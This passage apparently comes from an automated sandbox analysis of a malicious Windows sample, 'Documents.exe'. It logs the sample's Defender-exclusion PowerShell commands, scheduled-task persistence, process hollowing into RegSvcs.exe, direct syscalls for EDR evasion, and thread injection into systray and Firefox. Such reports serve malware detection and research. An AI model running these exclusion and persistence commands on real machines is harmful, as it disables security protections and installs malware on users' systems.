Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8D59 mov eax, dword ptr fs:[00000030h]	9_2_014E8D59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_014E8D59 mov eax, dword ptr fs:[00000030h]	9_2_014E8D59

Source: C:\Users\user\Desktop\Documents.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Documents.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Documents.exe"
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\uFEeKIucsX.exe"
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Documents.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\uFEeKIucsX.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Documents.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtOpenSection: Direct from: 0x76EF2E0C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtCreateFile: Direct from: 0x76EF2FEC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtOpenFile: Direct from: 0x76EF2DCC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtTerminateThread: Direct from: 0x76EF2FCC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtCreateMutant: Direct from: 0x76EF35CC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtResumeThread: Direct from: 0x76EF36AC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtDelayExecution: Direct from: 0x76EF2DDC
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtSetInformationThread: Direct from: 0x76EE63F9
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtSetInformationThread: Direct from: 0x76EF2B4C
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	NtCreateKey: Direct from: 0x76EF2C6C

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Documents.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Windows\SysWOW64\systray.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: NULL target: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: NULL target: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\systray.exe

Thread register set: target process: 4072

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\systray.exe

Thread APC queued: target process: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Documents.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: CC6008	Jump to behavior

Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Documents.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\uFEeKIucsX.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp2505.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\uFEeKIucsX" /XML "C:\Users\user\AppData\Local\Temp\tmp4E47.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uFEeKIucsX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe	Process created: C:\Windows\SysWOW64\systray.exe "C:\Windows\SysWOW64\systray.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"

Source: vWFGbvOdxI.exe, 00000010.00000000.2264345834.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4500042302.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4499992590.00000000012E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: vWFGbvOdxI.exe, 00000010.00000000.2264345834.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4500042302.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4499992590.00000000012E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vWFGbvOdxI.exe, 00000010.00000000.2264345834.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4500042302.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4499992590.00000000012E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: vWFGbvOdxI.exe, 00000010.00000000.2264345834.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000010.00000002.4500042302.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp, vWFGbvOdxI.exe, 00000012.00000002.4499992590.00000000012E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Documents.exe	Queries volume information: C:\Users\user\Desktop\Documents.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Documents.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
